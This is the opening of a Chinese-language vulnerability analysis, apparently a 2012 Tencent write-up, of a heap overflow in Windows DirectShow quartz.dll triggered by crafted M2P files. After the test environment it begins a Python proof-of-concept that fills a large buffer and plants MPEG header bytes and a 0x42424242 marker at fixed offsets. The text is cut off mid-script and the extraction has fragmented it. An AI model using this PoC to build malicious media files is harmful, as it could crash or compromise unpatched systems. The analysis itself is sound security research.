DirectShow quartz.dll M2P堆溢出漏洞分析.pdfVIP

微软DirectShowquartz.dllM2P文件堆溢出分析

riusksk

腾讯安全应急响应

2012

年

10

月

20

日星期六

分析环境

1、

Windows

XP

SP3

CN

2、

quartz.dll

6.5.2600.5596

测试代码

PoC.py:

l

=3315716*

A

s1=((0,\x00\x00\x01\xba),

(2048,

\x00\x00\x01\xba),

(3289120,

\x00\x00\x01\xe0\x07),

(3289273,

\x00\x00\x01\xb3),

(3289283,

\xba),

(3289452,

\x42\x42\x42\x42),

(3289468,

\x00\x00\x01\x00),

(3290359,

\x00